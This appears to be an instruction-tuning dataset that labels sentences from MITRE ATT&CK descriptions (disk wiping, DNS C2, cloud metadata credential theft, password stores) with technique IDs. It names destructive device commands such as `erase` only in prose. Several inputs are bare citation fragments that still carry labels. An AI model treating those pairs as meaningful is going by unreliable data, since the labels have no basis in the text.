"text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy, lease, or rent infrastructure that can be used during targeting. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A wide variety of infrastructure exists for hosting and orchestrating adversary operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A wide variety of infrastructure exists for hosting and orchestrating adversary operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation:", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT29 Microsoft 365 2022)", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT29 Microsoft 365 2022) ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "output": "T1583", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. ### Response: T1583."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting.", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)).", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)).", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)", "output": "T1583.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) ### Response: T1583.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Shamoon3 2018)", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Shamoon3 2018) ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky StoneDrill 2017)", "output": "T1561.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky StoneDrill 2017) ### Response: T1561.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation:", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "output": "T1561.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware) ### Response: T1561.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With direct write access to a disk, adversaries may attempt to overwrite portions of disk data.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR).", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A complete wipe of all disk sectors may be attempted.", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A complete wipe of all disk sectors may be attempted. ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", "output": "T1561", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco) ### Response: T1561."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The DNS protocol serves an administrative function in computer networking and thus may be very common in environments.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS traffic may also be allowed even before network authentication is completed.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS traffic may also be allowed even before network authentication is completed. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS packets contain many fields and headers in which data can be concealed.", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS packets contain many fields and headers in which data can be concealed. ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)", "output": "T1071.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ### Response: T1071.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation:", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RedLock Instance Metadata API 2018)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RedLock Instance Metadata API 2018) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for common password storage locations to obtain user credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for common password storage locations to obtain user credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "output": "T1555", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once credentials are obtained, they can be used to perform lateral movement and access restricted information. ### Response: T1555."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain.", "output": "T1555.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. ### Response: T1555.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap 